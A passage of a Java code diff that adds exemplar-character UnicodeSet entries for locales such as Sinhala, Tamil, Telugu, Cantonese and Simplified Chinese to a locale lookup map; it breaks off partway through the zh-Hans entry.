+        EXEMPLAR_MAP.put("qu", new UnicodeSet("[{CH\u02BC}{Ch\u02BC}{K\u02BC}{P\u02BC}{Q\u02BC}"
+                + "{T\u02BC}{ch\u02BC}{k\u02BC}{p\u02BC}{q\u02BC}{t\u02BC}]"));
+        EXEMPLAR_MAP.put("si", new UnicodeSet("[\u0D82\u0D83\u0D85-\u0D96\u0D9A-\u0DB1"
+                + "\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DF2"
+                + "\u0DF3\u200B-\u200D]"));
+        EXEMPLAR_MAP.put("ta", new UnicodeSet("[\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95"
+                + "\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9"
+                + "\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD{\u0B95\u0BCD\u0BB7}]"));
+        EXEMPLAR_MAP.put("te", new UnicodeSet("[\u0C01-\u0C03\u0C05-\u0C0C\u0C0E-\u0C10"
+                + "\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3E-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D"
+                + "\u0C55\u0C56\u0C60\u0C61\u0C66-\u0C6F]"));
+        EXEMPLAR_MAP.put("th", new UnicodeSet("[\u0E01-\u0E3A\u0E40-\u0E4E\u200B]"));
+        EXEMPLAR_MAP.put("ti", new UnicodeSet("[\u1200-\u1248\u124A-\u124D\u1250-\u1256\u1258"
+                + "\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE"
+                + "\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u135F"
+                + "\u1380-\u1399\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE"
+                + "\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE]"));
+        EXEMPLAR_MAP.put("to", new UnicodeSet("[\u02BB]"));
+        EXEMPLAR_MAP.put("ug", new UnicodeSet("[\u0626-\u0628\u062A\u062C\u062E\u062F"
+                + "\u0631-\u0634\u063A\u0641-\u0646\u0648-\u064A\u067E\u0686\u0698\u06AD\u06AF"
+                + "\u06BE\u06C6-\u06C8\u06CB\u06D0\u06D5]"));
+        EXEMPLAR_MAP.put("uk", new UnicodeSet("[\u02BC\u2116]"));
+        EXEMPLAR_MAP.put("ur-IN", new UnicodeSet("[\u0600-\u0603\u060C\u060D\u061B\u061F"
+                + "\u0621-\u0624\u0626-\u063A\u0641\u0642\u0644-\u0648\u064A-\u0652\u0654"
+                + "\u0656-\u0658\u066B\u066C\u0670\u0679-\u067E\u0686\u0688\u0691\u0698\u06A9\u06AF"
+                + "\u06BA\u06BE\u06C1-\u06C3\u06CC\u06D2\u06D4\u06F0-\u06F9]"));
+        EXEMPLAR_MAP.put("ur-PK", new UnicodeSet("[\u0600-\u0603\u060C\u060D\u061B\u061F"
+                + "\u0621-\u0624\u0626-\u063A\u0641\u0642\u0644-\u0648\u064A-\u0652\u0654"
+                + "\u0656-\u0658\u066B\u066C\u0670\u0679-\u067E\u0686\u0688\u0691\u0698\u06A9\u06AF"
+                + "\u06BA\u06BE\u06C1-\u06C3\u06CC\u06D2\u06D4]"));
+        EXEMPLAR_MAP.put("uz-Arab", new UnicodeSet("[\u0621-\u0624\u0626-\u063A\u0641\u0642"
+                + "\u0644-\u0648\u064A-\u0652\u0654\u066A-\u066C\u0670\u067C\u067E\u0681\u0685"
+                + "\u0686\u0689\u0693\u0696\u0698\u069A\u06A9\u06AB\u06AF\u06BC\u06C7\u06C9\u06CC"
+                + "\u06CD\u06D0\u06F0-\u06F9]"));
+        EXEMPLAR_MAP.put("uz-Latn", new UnicodeSet("[\u02BC{G\u02BB}{O\u02BB}{g\u02BB}{o\u02BB}]"));
+        EXEMPLAR_MAP.put("yue", new UnicodeSet("[\u2025\u2027\u2030\u2035\u203B\u203E"
+                + "\u3001-\u3003\u3008-\u3011\u3014\u3015\u301D\u301E\u4E00\u4E01\u4E03"
+                + "\u4E08-\u4E0D\u4E11\u4E14\u4E16\u4E18\u4E19\u4E1E\u4E1F\u4E26\u4E2D\u4E32\u4E38"
+                + "\u4E39\u4E3B\u4E43\u4E45\u4E48\u4E4B\u4E4D-\u4E4F\u4E56\u4E58\u4E59\u4E5D"
+                + "\u4E5F\u4E7E\u4E82\u4E86\u4E88\u4E8B\u4E8C\u4E8E\u4E91\u4E92"
+                + "\u4E94\u4E95\u4E9B\u4E9E\u4EA1\u4EA4-\u4EA6\u4EA8\u4EAB-\u4EAE"
+                + "\u4EBA\u4EC0-\u4EC2\u4EC7\u4ECA\u4ECB\u4ECD\u4ED4\u4ED6\u4ED8\u4ED9"
+                + "\u4EE3-\u4EE5\u4EF0\u4EF2\u4EF6\u4EFB\u4EFD\u4F01\u4F0A\u4F0D"
+                + "\u4F0F-\u4F11\u4F19\u4F2F\u4F30\u4F34\u4F38\u4F3C\u4F3D\u4F46"
+                + "\u4F48\u4F49\u4F4D-\u4F50\u4F54\u4F55\u4F59\u4F5B\u4F5C\u4F60"
+                + "\u4F69\u4F73\u4F7F\u4F86\u4F8B\u4F9B\u4F9D\u4FAF\u4FB5\u4FB6"
+                + "\u4FBF\u4FC2-\u4FC4\u4FCA\u4FD7\u4FDD\u4FE0\u4FE1\u4FEE\u4FF1\u4FFE"
+                + "\u500B\u500D\u5011\u5012\u5019\u501A\u501F\u502B\u503C\u5047"
+                + "\u5049\u504F\u505A\u505C\u5065\u5074-\u5077\u5080\u5091\u5099\u50A2"
+                + "\u50A3\u50B2\u50B3\u50B7\u50BB\u50BE\u50C5\u50CE\u50CF\u50D1"
+                + "\u50E7\u50F3\u50F5\u50F9\u5100\u5104\u5110\u5112\u5118\u511F"
+                + "\u512A\u5133\u5137\u513B\u5141\u5143-\u5149\u514B-\u514D\u5152\u5154"
+                + "\u5165\u5167-\u5169\u516B-\u516E\u5171\u5175-\u5179\u517C\u518A"
+                + "\u518D\u5192\u51A0\u51AC\u51B0\u51B7\u51C6\u51CC\u51DD\u51E1"
+                + "\u51F0\u51F1\u51FA\u51FD\u5200\u5206\u5207\u520A\u5217\u521D"
+                + "\u5224\u5225\u5229-\u522B\u5230\u5236-\u5238\u523A\u523B\u5247\u524C"
+                + "\u524D\u525B\u5269\u526A\u526F\u5272\u5275\u5283\u5287\u5289"
+                + "\u528D\u529B\u529F\u52A0\u52A9-\u52AB\u52C1\u52C7\u52C9\u52D2"
+                + "\u52D5\u52D9\u52DD\u52DE\u52E2\u52E4\u52F3\u52F5\u52F8\u52FF"
+                + "\u5305\u5308\u5316\u5317\u5339\u5340\u5341\u5343\u5347\u5348"
+                + "\u534A\u5351-\u5354\u5357\u535A\u535C\u535E\u5360\u5361\u536F-\u5371"
+                + "\u5373\u5377\u537B\u5384\u5398\u539A\u539F\u53AD\u53B2\u53BB"
+                + "\u53C3\u53C8\u53CA\u53CB\u53CD\u53D4\u53D6\u53D7\u53E2-\u53E6"
+                + "\u53EA-\u53ED\u53EF\u53F0\u53F2\u53F3\u53F6\u53F8\u5403\u5404"
+                + "\u5408-\u540A\u540C-\u540E\u5410-\u5412\u541B\u541D-\u5420\u5426\u5427"
+                + "\u542B\u5433\u5435\u5438\u5439\u543E\u5440\u5442\u5446\u544A"
+                + "\u5462\u5468\u5473\u5475\u547C\u547D\u548C\u5496\u54A6\u54A7"
+                + "\u54AA\u54AC\u54B1\u54C0\u54C1\u54C7-\u54C9\u54CE\u54E1\u54E5\u54E6"
+                + "\u54E9\u54EA\u54ED\u54F2\u5509\u5510\u5514\u552C\u552E\u552F"
+                + "\u5531\u5537\u5538\u5546\u554A\u554F\u555F\u5561\u5565\u5566"
+                + "\u556A\u5580\u5582\u5584\u5587\u558A\u5594\u559C\u559D\u55AC"
+                + "\u55AE\u55B5\u55CE\u55DA\u55E8\u55EF\u5606\u5609\u5617\u561B"
+                + "\u5634\u563B\u563F\u5668\u5674\u5687\u56B4\u56C9\u56CC\u56D1"
+                + "\u56DB\u56DE\u56E0\u56F0\u56FA\u5708\u570B\u570D\u5712\u5713"
+                + "\u5716\u5718\u571C\u571F\u5728\u572D\u5730\u573E\u5740\u5747"
+                + "\u574E\u5750\u5761\u5764\u5766\u576A\u5782\u5783\u578B\u57C3"
+                + "\u57CE\u57D4\u57DF\u57F7\u57F9\u57FA\u5802\u5805\u5806\u5821"
+                + "\u5824\u582A\u5831\u5834\u584A\u5854\u5857\u585E\u586B\u5875"
+                + "\u5883\u588E\u589E\u58A8\u58AE\u58C1\u58C7\u58D3\u58D8\u58DE"
+                + "\u58E2\u58E4\u58EB\u58EC\u58EF\u58FD\u590F\u5915\u5916\u591A"
+                + "\u591C\u5920\u5922\u5925\u5927\u5929-\u592B\u592E\u5931\u5937\u5938"
+                + "\u593E\u5947-\u5949\u594E\u594F\u5951\u5954\u5957\u5965\u5967\u596A"
+                + "\u596E\u5973\u5974\u5976\u5979\u597D\u5982\u5999\u599D\u59A5"
+                + "\u59A8\u59AE\u59B3\u59B9\u59BB\u59C6\u59CA\u59CB\u59D0\u59D1"
+                + "\u59D3\u59D4\u59FF\u5A01\u5A03\u5A18\u5A1B\u5A41\u5A46\u5A5A"
+                + "\u5A66\u5A92\u5ABD\u5ACC\u5AE9\u5B50\u5B54\u5B57\u5B58\u5B5C"
+                + "\u5B5D\u5B5F\u5B63\u5B64\u5B69\u5B6B\u5B78\u5B83\u5B85\u5B87-\u5B89"
+                + "\u5B8B\u5B8C\u5B8F\u5B97-\u5B9C\u5BA2-\u5BA4\u5BAE\u5BB3\u5BB6\u5BB9"
+                + "\u5BBF\u5BC2\u5BC4-\u5BC6\u5BCC\u5BD2\u5BDE\u5BDF\u5BE2\u5BE6-\u5BE9"
+                + "\u5BEB\u5BEC\u5BEE\u5BF5\u5BF6\u5C01\u5C04\u5C07\u5C08\u5C0A"
+                + "\u5C0B\u5C0D-\u5C0F\u5C11\u5C16\u5C1A\u5C24\u5C31\u5C3A\u5C3C\u5C3E"
+                + "\u5C40\u5C41\u5C45\u5C46\u5C4B\u5C4F\u5C55\u5C60\u5C64\u5C6C"
+                + "\u5C71\u5CA1\u5CA9\u5CB8\u5CC7\u5CF0\u5CF6\u5CFD\u5D07\u5D19"
+                + "\u5D34\u5D50\u5DBA\u5DBC\u5DDD\u5DDE\u5DE1\u5DE5-\u5DE8\u5DEB\u5DEE"
+                + "\u5DF1-\u5DF4\u5DF7\u5DFD\u5E02\u5E03\u5E0C\u5E15\u5E16\u5E1B"
+                + "\u5E1D\u5E25\u5E2B\u5E2D\u5E33\u5E36\u5E38\u5E3D\u5E45\u5E55"
+                + "\u5E63\u5E6B\u5E72-\u5E74\u5E78\u5E79\u5E7B-\u5E7E\u5E87\u5E8A"
+                + "\u5E8F\u5E95\u5E97\u5E9A\u5E9C\u5EA6\u5EA7\u5EAB\u5EAD\u5EB7"
+                + "\u5EB8\u5EC9\u5ED6\u5EE0\u5EE2\u5EE3\u5EF3\u5EF6\u5EF7\u5EFA"
+                + "\u5F04\u5F0F\u5F15\u5F17\u5F18\u5F1F\u5F26\u5F31\u5F35\u5F37"
+                + "\u5F48\u5F4A\u5F4C\u5F4E\u5F5D\u5F5E\u5F62\u5F65\u5F69\u5F6C"
+                + "\u5F6D\u5F70\u5F71\u5F79\u5F7C\u5F80\u5F81\u5F85\u5F88\u5F8B"
+                + "\u5F8C\u5F90-\u5F92\u5F97\u5F9E\u5FA9\u5FAE\u5FB5\u5FB7\u5FB9\u5FC3"
+                + "\u5FC5\u5FCC\u5FCD\u5FD7-\u5FD9\u5FE0\u5FEB\u5FF5\u5FFD\u600E\u6012"
+                + "\u6015\u6016\u601D\u6021\u6025\u6027\u6028\u602A\u6046\u6050"
+                + "\u6062\u6065\u6068\u6069\u606D\u606F\u6070\u6085\u6089\u6094"
+                + "\u609F\u60A0\u60A8\u60B2\u60B6\u60C5\u60D1\u60DC\u60E0\u60E1"
+                + "\u60F1\u60F3\u60F9\u6101\u6108\u6109\u610F\u611A\u611B\u611F"
+                + "\u6148\u614B\u6155\u6158\u6162\u6163\u6167\u616E\u6170\u6176"
+                + "\u617E\u6182\u6190\u6191\u61B2\u61B6\u61BE\u61C2\u61C9\u61F6"
+                + "\u61F7\u61FC\u6200\u6208\u620A\u620C\u6210-\u6212\u6216\u622A"
+                + "\u6230\u6232\u6234\u6236\u623F-\u6241\u6247\u624B\u624D\u624E"
+                + "\u6253\u6258\u6263\u6265\u626D\u626F\u6279\u627E-\u6280\u6284\u628A"
+                + "\u6293\u6295\u6297\u6298\u62AB\u62AC\u62B1\u62B5\u62B9\u62BD"
+                + "\u62C6\u62C9\u62CB\u62CD\u62CF\u62D2\u62D4\u62D6\u62DB\u62DC"
+                + "\u62EC\u62F3\u62FC\u62FE\u62FF\u6301\u6307\u6309\u6311\u6316"
+                + "\u632A\u632F\u633A\u6350\u6355\u6368\u6372\u6377\u6383\u6388"
+                + "\u6389\u638C\u6392\u639B\u63A1\u63A2\u63A5\u63A7\u63A8\u63AA"
+                + "\u63CF\u63D0\u63D2\u63DA\u63DB\u63E1\u63EE\u63F4\u640D\u6416"
+                + "\u641C\u641E\u642C\u642D\u6436\u6458\u6469\u6478\u6490\u6492"
+                + "\u649E\u64A3\u64A5\u64AD\u64BE\u64BF\u64C1\u64C7\u64CA\u64CB"
+                + "\u64CD\u64CE\u64D4\u64DA\u64E0\u64E6\u64EC\u64F4\u64FA\u64FE"
+                + "\u651D\u652F\u6536\u6539\u653B\u653E\u653F\u6545\u6548\u654D"
+                + "\u654F\u6551\u6557-\u6559\u655D\u6562\u6563\u6566\u656C\u6574"
+                + "\u6575\u6578\u6587\u6590\u6597\u6599\u65AF\u65B0\u65B7\u65B9"
+                + "\u65BC\u65BD\u65C1\u65C5\u65CB\u65CF\u65D7\u65E2\u65E5\u65E6"
+                + "\u65E9\u65ED\u65FA\u6602\u6606\u6607\u660C\u660E\u660F\u6613"
+                + "\u661F\u6620\u6625\u6628\u662D\u662F\u6642\u6649\u6652\u665A"
+                + "\u6668\u666E\u666F\u6674\u6676\u667A\u6691\u6696\u6697\u66AB"
+                + "\u66B4\u66C6\u66C9\u66F0\u66F2\u66F4\u66F8\u66FC\u66FE-\u6700"
+                + "\u6703\u6708\u6709\u670B\u670D\u6717\u671B\u671D\u671F\u6728"
+                + "\u672A-\u672D\u6731\u6735\u6749\u674E\u6750\u6751\u675C\u675F"
+                + "\u676F-\u6771\u677E\u677F\u6790\u6797\u679C\u679D\u67B6\u67CF"
+                + "\u67D0\u67D3\u67D4\u67E5\u67EC\u67EF\u67F3\u67F4\u6817\u6821"
+                + "\u6838\u6839\u683C\u6843\u6848\u684C\u6851\u6881\u6885\u689D"
+                + "\u68A8\u68AF\u68B0\u68B5\u68C4\u68C9\u68CB\u68D2\u68DA\u68EE"
+                + "\u6905\u690D\u6930\u694A\u6953\u6954\u695A\u696D\u6975\u6982"
+                + "\u699C\u69AE\u69CB\u69CD\u6A02\u6A13\u6A19\u6A1E\u6A21\u6A23"
+                + "\u6A39\u6A4B\u6A5F\u6A6B\u6A80\u6A94\u6AA2\u6B04\u6B0A\u6B21"
+                + "\u6B23\u6B32\u6B3A\u6B3D\u6B3E\u6B49\u6B4C\u6B50\u6B61-\u6B66"
+                + "\u6B72\u6B77\u6B78\u6B7B\u6B8A\u6B98\u6BB5\u6BBA\u6BBC\u6BC0"
+                + "\u6BC5\u6BCD\u6BCF\u6BD2\u6BD4\u6BDB\u6BEB\u6C0F\u6C11\u6C23"
+                + "\u6C34\u6C38\u6C42\u6C57\u6C5D\u6C5F-\u6C61\u6C6A\u6C76\u6C7A\u6C7D"
+                + "\u6C83\u6C88\u6C89\u6C92\u6C96\u6C99\u6CB3\u6CB9\u6CBB\u6CBF"
+                + "\u6CC1\u6CC9\u6CCA\u6CD5\u6CE1\u6CE2\u6CE5\u6CE8\u6CF0\u6CF3"
+                + "\u6D0B\u6D17\u6D1B\u6D1E\u6D29\u6D2A\u6D32\u6D3B\u6D3D\u6D3E"
+                + "\u6D41\u6D66\u6D69\u6D6A\u6D6E\u6D77\u6D85\u6D87-\u6D89\u6DAF\u6DB2"
+                + "\u6DB5\u6DBC\u6DD1\u6DDA\u6DE1\u6DE8\u6DF1\u6DF7\u6DFA\u6E05"
+                + "\u6E1B\u6E21\u6E2C\u6E2F\u6E38\u6E3E\u6E56\u6E6F\u6E90\u6E96"
+                + "\u6E9D\u6EAA\u6EAB\u6EC4\u6EC5\u6ECB\u6ED1\u6EF4\u6EFE\u6EFF"
+                + "\u6F02\u6F0F\u6F14\u6F20\u6F22\u6F2B\u6F32\u6F38\u6F54\u6F58"
+                + "\u6F5B\u6F6E\u6F8E\u6FA4\u6FB3\u6FC0\u6FC3\u6FDF\u6FE4\u6FEB"
+                + "\u6FF1\u700F\u704C\u7063\u706B\u7070\u707D\u708E\u70AE\u70B8"
+                + "\u70BA\u70C8\u70CF\u70E4\u7121\u7126\u7136\u7159\u715E\u7167"
+                + "\u7169\u718A\u719F\u71B1\u71C3\u71C8\u71D2\u71DF\u71E6\u7206"
+                + "\u7210\u721B\u722A\u722C\u722D\u7235\u7236\u7238\u723A\u723D"
+                + "\u723E\u7246-\u7248\u724C\u7259\u725B\u7260\u7267\u7269\u7272\u7279"
+                + "\u727D\u72A7\u72AF\u72C0\u72C2\u72C4\u72D0\u72D7\u72E0\u72FC"
+                + "\u731B\u731C\u7334\u7336\u7344\u7345\u734E\u7368\u7372\u7378"
+                + "\u737B\u7384\u7387\u7389\u738B\u73A9\u73AB\u73B2\u73BB\u73CA"
+                + "\u73CD\u73E0\u73E5\u73ED\u73FE\u7403\u7406\u7409\u742A\u7433"
+                + "\u7434\u7459\u745A\u745C\u745E\u745F\u7464\u746A\u7470\u74B0"
+                + "\u74DC\u74E6\u74F6\u7518\u751A\u751C\u751F\u7522\u7528\u752B"
+                + "\u7530-\u7533\u7537\u7538\u754C\u7559\u7562\u7565\u756A\u756B"
+                + "\u7570\u7576\u7586\u758F\u7591\u75BC\u75C5\u75D5\u75DB\u75F4"
+                + "\u760B\u7642\u7661\u7678\u767B-\u767E\u7684\u7686\u7687\u76AE"
+                + "\u76C3\u76CA\u76DB\u76DC\u76DF\u76E1\u76E3\u76E4\u76E7\u76EE"
+                + "\u76F2\u76F4\u76F8\u76FC\u76FE\u7701\u7709\u770B\u771F\u7720"
+                + "\u773C\u773E\u775B\u7761\u7763\u77A7\u77AD\u77DB\u77E3\u77E5"
+                + "\u77ED\u77F3\u7802\u780D\u7814\u7832\u7834\u786C\u788E\u7891"
+                + "\u7897\u789F\u78A7\u78A9\u78B0\u78BA\u78BC\u78C1\u78E8\u78EF"
+                + "\u7901\u790E\u7919\u793A\u793E\u7955\u7956\u795A\u795B\u795D"
+                + "\u795E\u7965\u7968\u797F\u7981\u798D-\u798F\u79AA\u79AE\u79C0\u79C1"
+                + "\u79CB\u79D1\u79D2\u79D8\u79DF\u79E4\u79E6\u79FB\u7A05\u7A0B"
+                + "\u7A0D\u7A2E\u7A31\u7A3F\u7A46\u7A4C\u7A4D\u7A69\u7A76\u7A79"
+                + "\u7A7A\u7A7F\u7A81\u7A97\u7AA9\u7AAE\u7AB6\u7ACB\u7AD9\u7ADF"
+                + "\u7AE0\u7AE5\u7AEF\u7AF6\u7AF9\u7B11\u7B1B\u7B26\u7B28\u7B2C"
+                + "\u7B46\u7B49\u7B4B\u7B54\u7B56\u7B80\u7B97\u7BA1\u7BAD\u7BB1"
+                + "\u7BC0\u7BC4\u7BC7\u7BC9\u7C21\u7C2B\u7C3D\u7C3F\u7C43\u7C4C"
+                + "\u7C4D\u7C64\u7C73\u7C89\u7C97\u7CB5\u7CBE\u7CCA\u7CD5\u7CDF"
+                + "\u7CFB\u7CFE\u7D00\u7D04\u7D05\u7D0D\u7D10\u7D14\u7D19-\u7D1B"
+                + "\u7D20\u7D22\u7D2B\u7D2F\u7D30\u7D39\u7D42\u7D44\u7D50\u7D55"
+                + "\u7D61\u7D66\u7D71\u7D72\u7D93\u7D9C\u7DA0\u7DAD\u7DB1\u7DB2"
+                + "\u7DCA\u7DD2\u7DDA\u7DE3\u7DE8\u7DE9\u7DEC\u7DEF\u7DF4\u7E1B"
+                + "\u7E23\u7E2E\u7E31\u7E3D\u7E3E\u7E41\u7E46\u7E54\u7E5E\u7E6A"
+                + "\u7E73\u7E7C\u7E8C\u7F38\u7F3A\u7F55\u7F6A\u7F6E\u7F70\u7F72"
+                + "\u7F75\u7F77\u7F85\u7F8A\u7F8E\u7F9E\u7FA4\u7FA9\u7FBD\u7FC1"
+                + "\u7FD2\u7FD4\u7FF0\u7FF9\u7FFB\u7FFC\u8000\u8001\u8003\u8005"
+                + "\u800C\u800D\u8010\u8017\u8033\u8036\u804A\u8056\u805A\u805E"
+                + "\u806F\u8070\u8072\u8077\u807D\u8089\u809A\u80A1\u80A5\u80A9"
+                + "\u80AF\u80B2\u80CC\u80CE\u80D6\u80DE\u80E1\u80F8\u80FD\u8106"
+                + "\u812B\u8153\u8154\u8166\u8170\u8173\u817F\u81BD\u81C9\u81D8"
+                + "\u81E3\u81E5\u81E8\u81EA\u81ED\u81F3\u81F4\u81FA\u8207-\u820A"
+                + "\u820C\u820D\u8212\u821E\u821F\u822A\u822C\u8239\u8266\u826F"
+                + "\u8272\u827E\u8292\u829D\u82AC\u82B1\u82B3\u82D7\u82E5\u82E6"
+                + "\u82F1\u8305\u8328\u832B\u8332\u8336\u8349\u8352\u8377\u837C"
+                + "\u8389\u838A\u838E\u83AB\u83DC\u83E9\u83EF\u83F2\u8404\u840A"
+                + "\u842C\u843D\u8449\u8457\u845B\u8461\u8482\u8499\u84B2\u84BC"
+                + "\u84CB\u84EC\u84EE\u8515\u8521\u8523\u856D\u8584\u85A6\u85A9"
+                + "\u85AA\u85C9\u85CD\u85CF\u85DD\u85E4\u85E5\u8606\u8607\u862D"
+                + "\u864E\u8655\u865B\u865F\u8667\u86A9\u86C7\u86CB\u86D9\u8700"
+                + "\u8702\u871C\u8776\u878D\u87A2\u87F2\u87F9\u880D\u883B\u8840"
+                + "\u884C\u8853\u8857\u885B\u885D\u8861\u8863\u8868\u888B\u88AB"
+                + "\u88C1\u88C2\u88D5\u88D8\u88DC\u88DD\u88E1\u88FD\u8907\u8932"
+                + "\u897F\u8981\u8986\u898B\u898F\u8996\u89AA\u89BA\u89BD\u89C0"
+                + "\u89D2\u89E3\u89F8\u8A00\u8A02\u8A08\u8A0A\u8A0E\u8A13\u8A17"
+                + "\u8A18\u8A25\u8A2A\u8A2D\u8A31\u8A34\u8A3B\u8A3C\u8A55\u8A5E"
+                + "\u8A62\u8A66\u8A69\u8A71-\u8A73\u8A87\u8A8C\u8A8D\u8A93\u8A95\u8A9E"
+                + "\u8AA0\u8AA4\u8AAA\u8AB0\u8AB2\u8ABC\u8ABF\u8AC7\u8ACB\u8AD2"
+                + "\u8AD6\u8AF8\u8AFA\u8AFE\u8B00\u8B02\u8B1B\u8B1D\u8B2C\u8B49"
+                + "\u8B58\u8B5C\u8B66\u8B6F\u8B70\u8B77\u8B7D\u8B80\u8B8A\u8B93"
+                + "\u8B9A\u8C37\u8C46\u8C48\u8C50\u8C61\u8C6A\u8C6C\u8C8C\u8C93"
+                + "\u8C9D\u8C9E\u8CA0-\u8CA2\u8CA8\u8CAA-\u8CAC\u8CB4\u8CB7\u8CBB\u8CBC"
+                + "\u8CC0\u8CC7\u8CC8\u8CD3\u8CDC\u8CDE\u8CE2-\u8CE4\u8CE6\u8CEA"
+                + "\u8CED\u8CF4\u8CFA\u8CFC\u8CFD\u8D08\u8D0A\u8D0F\u8D64\u8D6B"
+                + "\u8D70\u8D77\u8D85\u8D8A\u8D95\u8D99\u8DA3\u8DA8\u8DB3\u8DCC"
+                + "\u8DCE\u8DD1\u8DDD\u8DDF\u8DE1\u8DEF\u8DF3\u8E0F\u8E22\u8E5F"
+                + "\u8E64\u8E8D\u8EAB\u8EB2\u8ECA\u8ECC\u8ECD\u8ED2\u8EDF\u8F03"
+                + "\u8F09\u8F14\u8F15\u8F1B\u8F1D\u8F29\u8F2A\u8F2F\u8F38\u8F49"
+                + "\u8F5F\u8F9B\u8FA6\u8FA8\u8FAD\u8FAF-\u8FB2\u8FC5\u8FCE\u8FD1\u8FD4"
+                + "\u8FE6\u8FEA\u8FEB\u8FF0\u8FF4\u8FF7\u8FFD\u9000\u9001\u9003"
+                + "\u9006\u900F\u9010\u9014\u9019-\u901B\u901D\u901F\u9020\u9022"
+                + "\u9023\u9031\u9032\u9038\u903C\u9047\u904A\u904B\u904D\u904E"
+                + "\u9053-\u9055\u9059\u905C\u9060\u9069\u906D\u906E\u9072\u9077"
+                + "\u9078\u907A\u907F-\u9081\u9084\u908A\u908F\u90A3\u90A6\u90AA"
+                + "\u90B1\u90CE\u90E8\u90ED\u90F5\u90FD\u9102\u9109\u912D\u9130"
+                + "\u9149\u914B\u914D\u9152\u9177\u9178\u9189\u9192\u919C\u91AB"
+                + "\u91C7\u91CB-\u91CF\u91D1\u91DD\u91E3\u9234\u9262\u9280\u9285\u9296"
+                + "\u9298\u92B3\u92B7\u92D2\u92FC\u9304\u9322\u9326\u932B\u932F"
+                + "\u934B\u9375\u937E\u938A\u9396\u93AE\u93E1\u9418\u9435\u9451"
+                + "\u9577\u9580\u9583\u9589\u958B\u958F\u9592\u9593\u95A3\u95B1"
+                + "\u95C6\u95CA\u95CD\u95D0\u95DC\u95E1\u9632\u963B\u963F\u9640"
+                + "\u9644\u964D\u9650\u9662-\u9664\u966A\u9670\u9673\u9675-\u9678"
+                + "\u967D\u9686\u968A\u968E\u9694\u969B\u969C\u96A8\u96AA\u96B1"
+                + "\u96B4\u96BB\u96C4-\u96C6\u96C9\u96D6\u96D9\u96DC\u96DE\u96E2"
+                + "\u96E3\u96E8\u96EA\u96F2\u96F6\u96F7\u96FB\u9700\u9707\u970D"
+                + "\u9727\u9732\u9738\u9739\u9742\u9748\u9752\u9756\u975C\u975E"
+                + "\u9760\u9762\u9769\u977C\u978B\u97C3\u97CB\u97D3\u97F3\u97FB"
+                + "\u97FF\u9801\u9802\u9805\u9806\u9808\u9810\u9811\u9813\u9817"
+                + "\u9818\u981E\u982D\u983B\u9846\u984C\u984D\u984F\u9858\u985E"
+                + "\u9867\u986F\u98A8\u98C4\u98DB\u98DF\u98EF\u98F2\u98FD\u98FE"
+                + "\u9905\u990A\u9910\u9918\u9928\u9996\u9999\u99AC\u99D0\u99D5"
+                + "\u99DB\u9A0E\u9A19\u9A37\u9A45\u9A57\u9A5A\u9AA8\u9AD4\u9AD8"
+                + "\u9AEE\u9B06\u9B25\u9B27\u9B31\u9B3C\u9B41\u9B42\u9B45\u9B54"
+                + "\u9B5A\u9B6F\u9BAE\u9CE5\u9CF3\u9CF4\u9D3B\u9D5D\u9DF9\u9E7F"
+                + "\u9E97\u9EA5\u9EB5\u9EBB\u9EBC\u9EC3\u9ECE\u9ED1\u9ED8\u9EDE"
+                + "\u9EE8\u9F13\u9F20\u9F3B\u9F4A\u9F4B\u9F52\u9F61\u9F8D\u9F9C"
+                + "\uFE30-\uFE44\uFE49-\uFE52\uFE54-\uFE61\uFE63\uFE68\uFE6A\uFE6B"
+                + "\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F\uFF1A\uFF1B\uFF1F\uFF20"
+                + "\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D]"));
+        EXEMPLAR_MAP.put("zgh", new UnicodeSet("[\u2D30\u2D31\u2D33\u2D37\u2D39\u2D3B-\u2D3D"
+                + "\u2D40\u2D43-\u2D45\u2D47\u2D49\u2D4A\u2D4D-\u2D4F\u2D53-\u2D56\u2D59-\u2D5C"
+                + "\u2D5F\u2D61-\u2D63\u2D65{\u2D33\u2D6F}{\u2D3D\u2D6F}]"));
+        EXEMPLAR_MAP.put("zh-Hans", new UnicodeSet("[\u2015\u2016\u2025\u2030\u2035\u203B"
+                + "\u3001-\u3003\u3008-\u3011\u3014-\u3017\u301D\u301E\u4E00\u4E01\u4E03"
+                + "\u4E07-\u4E0E\u4E11\u4E13\u4E14\u4E16\u4E18-\u4E1A\u4E1C\u4E1D\u4E22\u4E24\u4E25"
+                + "\u4E27\u4E2A\u4E2D\u4E30\u4E32\u4E34\u4E38-\u4E3B\u4E3D\u4E3E\u4E43\u4E45"
+                + "\u4E48\u4E49\u4E4B-\u4E50\u4E54\u4E56\u4E58\u4E59\u4E5D\u4E5F-\u4E61"
+                + "\u4E66\u4E70\u4E71\u4E7E\u4E86\u4E88\u4E89\u4E8B\u4E8C\u4E8E"
+                + "\u4E8F\u4E91\u4E92\u4E94\u4E95\u4E9A\u4E9B\u4EA1\u4EA4-\u4EA8"
+                + "\u4EAB\u4EAC\u4EAE\u4EB2\u4EBA\u4EBF-\u4EC2\u4EC5\u4EC7\u4ECA\u4ECB"
+                + "\u4ECD\u4ECE\u4ED4\u4ED6\u4ED8\u4ED9\u4EE3-\u4EE5\u4EEA\u4EEC"
+                + "\u4EF0\u4EF2\u4EF6\u4EF7\u4EFB\u4EFD\u4EFF\u4F01\u4F0A\u4F0D"
+                + "\u4F0F-\u4F11\u4F17-\u4F1A\u4F1F\u4F20\u4F24\u4F26\u4F2F\u4F30"
+                + "\u4F34\u4F38\u4F3C\u4F3D\u4F46\u4F4D-\u4F51\u4F53\u4F55\u4F59\u4F5B"
